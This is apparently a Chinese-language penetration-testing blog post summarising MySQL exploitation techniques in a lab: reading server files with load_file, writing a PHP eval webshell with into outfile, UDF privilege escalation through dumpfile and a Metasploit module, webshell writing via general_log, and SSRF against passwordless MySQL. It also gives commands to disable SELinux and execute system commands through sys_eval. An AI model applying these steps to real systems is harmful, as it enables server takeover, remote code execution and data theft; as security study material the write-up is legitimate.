mysql ssrf_Mysql利用姿势小结

本文主要讨论 mysql 在 Linux 环境下通过 mysql 配置、mysql语句以及结合系统配置,进行文件读取;shell写入;udf提权;和mysql在SSRF中的利用。(有许多踩坑点)

读文件:

load_file

load_file 在渗透过程中也就是读取文件,或者sql盲注的时候可以通过dnslog加快注入速度。

本文这一节就对于load_file 读取文件的利用方式进行一个小结。如果还有更多欢迎补充。secure_file_priv :

当 mysql secure_file_priv 配置项为空(空是""而不是NULL,NULL代表不可读取),或者指定的一个目录时,即可读取文件。

mysql命令行查看 secure_file_priv 配置

show variables like "%secure_file_priv%";

3cdb13dab10a10e6a4161adf70b80637.png

读取服务配置项:

条件:

1. 系统中关闭了 selinux

2. 知道服务配置文件路径

3. secure_file_priv 可读到 web 目录

读取mysql 配置文件

select load_file("/etc/my.cnf");

f671e90a20428709666a649946d94294.png

在Centos中,如果开启了 selinux,是无法读取到其他服务配置文件或者 /etc/passwd 的,需要将 selinux 关闭才能读取。

在实际情况中,也许会有管理人员为了方便将 selinux 关闭。所以读取下其他服务配置文件是值得一试的。

关闭 selinux

setenforce 0

读取web源码

条件:

1. 系统中关闭了 selinux

2. 知道 web绝对路径的情况

3. secure_file_priv 可读到 web 目录

读取web源码,就可以简单的进行审计,查找突破口啦。

load data infile

条件:

1. 系统中关闭了 selinux

2. 知道 web绝对路径的情况

3. secure_file_priv 可读到 web 目录

load data infile 也是读取服务端文件的语句,同样的也是受 secure_file_priv的限制。基本用法如下:

第一步,得有一个数据表,里头的字段能够存放的进我们要读取的文件:

0cb318472cf0cd9000ab9fc6ebf4e2d3.png

第二步,使用 load data infile 语句读取指定文件内容,并存入数据库:

a7b87e7a4ceb8ed851d8da72337f81ee.png

假设登入的用户权限较小,我们登入的用户只需要用 file 、insert 和 select 权限即可,然后随便找个数据表也可进行读取。

43d00b369f0297a07615e4364cd3ab45.png

如果要读取配置文件,也是一样的需要 关闭 selinux 才行。

如果在 windows下,就没有这么多限制哦。

写文件

outfile

当 secure_file_priv 配置项为空或者指定了一个目录时,且该目录mysql有写入权限。Mysql可写入文件

注意:outfile 和 dumpfile 在 mysql 3.23.55版本之后,不可以覆盖文件。只能创建新文件

简单示例:

select "123" into outfile "/tmp/123.txt";

da170fab43be4e1d501af043e8e812d4.png

写入WebShell

条件:

1.知道web目录

2. secure_file_priv 可写到 web目录

以php为例:

select "<?php @eval($_GET['x']);?>" into outfile "/var/www/html/test.php";

c6a2d3d70ab02b896ee0852841283ad2.png

f3838c7258b86998470afcb4750a0730.png

dumpfile udf提权

条件:

1. mysql plugin 目录可写

2. secure_file_priv 可写到 mysql plugin 目录

由于 Centos 中默认 plugin 目录是不可写入的,如果要通过写入一个 udf文件的话,还需要设置其可写。但是不得不承认,现实中确实有这样的管理员,图方便直接将目录设置为777

b586e016cb3c8f0afe499012c51eece9.png

坑点:

(1)udf文件版本一定要和 mysql对应。不知道mysql什么版本可以使用如下语句查询:

select @@version;

(2)不要用 sqlmap 的linux udf文件,会报如下错误:

e512cbedabab12d17c8a8563145dd664.png

因为sqlmap的udf文件没有 ELF 头:

备注:sqlmap udf 路径为 /usr/share/sqlmap/data/udf/mysql/linux/

465bfa568a1af7259326b0051c92d298.png

要用 metasploit 的 udf 文件:

备注:metasploit udf 路径为 /usr/share/metasploit-framework/data/exploits/mysql/

f9e38fdb8497c9e67ad36bd9de349459.png

(3)不能错用成 outfile ,这样子弄出来的 udf文件无法使用。估计是 outfile 进来的不是二进制格式,而是普通的ascii码格式:

outfile 出来的文件格式(错误):

3e30411e6a3fa8627264ede62e2a8fe6.png

dumpfile 出来的文件格式 (正确):

e7ef4f6ea49d16a79623b21819028d40.png

使用 msf 进行 udf 提权,抓包查看其流程。

注意:

默认 mysql 传输过程使用了 ssl加密,直接抓包看不到内容。我们需要将其切换为 不使用 ssl 加密

我们先停止 mysql 服务:

systemctl stop mysqld

给 mysql用户 /bin/bash权限:

vim /etc/passwd

f40a0cbe437c5e44f71f00c3eb3eece8.png

然后切换到 mysql 用户,执行命令:

/usr/sbin/mysqld --ssl=0

参数 --ssl=0 表示传输不使用 ssl 加密

使用 msf 模块

exploit/multi/mysql/mysql_udf_payload

坑点:

(1)如果msf反应 no session was created:

eee8fa4232bc2bd24b640f792ce1e784.png

说明可能没有选择 target 和 payload

需要设置 target 为 Linux

payload 设置 linux/x86/shell/bind_tcp 就好了。高级的 meterpreter可能无法弹回来

(2)如果发现卡死了:

5172b7e8e9dbca1464f6cb407454b5a3.png

这时我们需要连入 mysql,执行命令:

drop function sys_exec;

041401bbe230071cc2da0f54b7a96968.png

这是因为之前没有设 target 和 payload 的原因,但 msf 已经创建好函数了,只是没有 payload 将其反弹。我们需要将原函数删掉,让msf 再创建一次才能弹回 shell

190ad4f370fe7d86061cc3bcd15675be.png

抓包分析

我们通过抓包,发现其直接写入十六进制码到 udf 文件中:

f036bec7cb7abc6ce037851f1da8800f.png

c0d391095fd6683c2102baf25cc64c89.png

我们先置空前面 msf 的操作:删除其上传的 udf 文件,删除函数(drop function语句)。我们自己手工来一遍:

复制抓包得到的 十六进制码值,由于由 1w+字符,就不复制到这里了:

d6dbab01a74d4faf854b07def79a4508.png

连入mysql,通过 select dumpfile语句,将这一大串 udf文件的 十六进制码输出到 udf文件中:

注意:由于是十六进制码,所以输出的时候不需要加双引号:

select 一大串十六进制码 into dumpfile "/usr/lib64/mysql/plugin/udf.so";

mysql 成功写入udf文件后,使用语句 :

create function sys_eval returns string soname "udf.so";

即可创建一个函数,这个函数的名字和功能由 .so 文件已经设定好了的

我们使用的这个 udf 文件的 函数名就叫 sys_eval

直接调用即可:

select sys_eval("whoami");

f979e9dfabc66746197e237cc977da14.png

general log

条件

1.知道web路径

本实验在Centos7 下使用 mysql5.7 ,先不说有 selinux 和 目录权限问题,由于 general_log 写出来的文件权限为 640,其他用户(apache用户)不可读。导致php文件无法执行。

6b30843eee437aca1a65b1635e58f61e.png

所以general log 的实验采用 windows 系统进行。

注意:general log 不受 secure_file_priv 的限制哦

基本环境:

secure_file_priv 为 NULL,则 load file 和 outfile/dumpfile 皆不可用。

dc83f67406930f2c7a950bd6459be0f0.png

查看 general log状态:

show variables like "%general%";

7a3114e1790743844697f3091e4866d2.png

一般 general_log 默认是关闭的,不过这个配置我们可以手动开起来。

设置日志输出类型为文件:

有时候 mysql 默认日志输出类型不是 FILE 而是 TABLE。

如果是TABLE的话,是不会将日志输出为文件格式的。

7bd0d325fe0b81b52b18a925f4c70e64.png

需要将其类型设置为 FILE

set global log_output="FILE";

设置输出文件路径:

注意:windows 的路径分隔符为 \,但在 mysql 看来,\ 是转义符,所以我们得使用双斜杠: \\

set global general_log_file="C:\\phpstudy_pro\\WWW\\1.php";

开启 general log:

set global general_log=on;

由于一开启 general log,此时在 mysql 上的所有操作都会被记录下来。为了让输出的文件杂质少一点。我们细节一点最后再开启 general log

f7da0732b477c37eaf17f980e82d3b75.png

202badf1fbca4ce3b2109b7c805a0b88.png

SSRF对于 Mysql 的利用

基础:

注意:现在mysql连接方式有三种:

Unix套接字;

内存共享/命名管道;

TCP/IP套接字;

Linux或Unix环境下,输入 mysql -uroot -p123456 登录Mysql服务器的时候用的就是 Unix套接字 的方式登录

Windows系统客户端和Mysql在同一台电脑上,可以使用命令管道和共享内存的方式

TCP/IP套接字是任何系统下都可以使用的方式,使用方式为:

mysql -h127.0.0.1 -uroot -p123456

由于Mysql有密码的时候,是通过发送随机挑战码来验证的,而没有密码的时候不需要发送随机挑战码。

所以我们攻击Mysql的时候Mysql服务端必须是空密码才可以攻击成功。毕竟随机的会变的东西无法猜测,就构造不了payload了

有密码的情况:(只发了一个字节过去就卡住了)

77afbd2976e587f862bf067c262e1670.png

而且TCP/IP默认采用了SSL,所以我们抓包抓的是密文包

上文也提到,要强制不使用ssl,加个参数 --ssl=0:

其实只要客户端和服务端任意一方不使用 ssl,整个 tcp传输过程都是不采用 ssl的

客户端连接:

mysql -h127.0.0.1 -uroot -p123456 --ssl=0

坑点:

mysql5.7有了个 validate_password_length 和 validate_password_policy,是设置密码复杂度的,而且就算密码复杂度降到最低,还是要验证密码长度,但密码长度最低只能为4个字符,所以无法设置0字符的密码。

3edf3843238ac35884d0e7f9af7059a8.png

只能降低mysql版本再做实验。

这里我做实验的是kali的mysql,这个可以设置空密码。但是一开始kali的mysql有点问题。

坑点:

kali中使用的是 MariaDB数据库,它缺省使用 Unix_socket。导致我们登录不需要输入密码,直接就登进去了,抓包也抓不到 tcp传输包。

我们要将 MariaDB数据库 修改成使用 tcp 方式传输。

修改配置插件(直接在 mysql 命令行打):

update mysql.user set plugin='mysql_native_password' where user='root';

刷新权限后即可:

flush privileges

实验 SSRF

第一步、mysql创建实验用户:

create user 'root'@'%';

grant all privileges on *.* to 'root'@'%';

第二步、开个wireshark,监听lo网卡(lo网卡即为本地网卡,只会有localhost的流量)的包

eefd43ab089802d4fe72bdf132d94a68.png

第三步、mysql中输入命令,并抓包:

7a1f15beeeacd6e5b0dc19b2da037f75.png

第四步、整理数据包:

设置只看客户端发送的流量

用hex模式查看

将东西全部复制出去,只保留中间的十六进制值,每个值前加个 “%”

d6feeb3cef1228d2e38100288cb65135.png

变成如下的形式

764ea791ff1903a5df0f49f682df4e1e.png

第五步、用curl测试:

4f677bfddad8f08c98cc62869f90ea93.png

注意,这里需要加上 --output -才能显示完全。

以上就是本文对于mysql在渗透过程中的利用研究。如果小伙伴们还有什么新奇好玩的姿势欢迎讨论鸭~

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值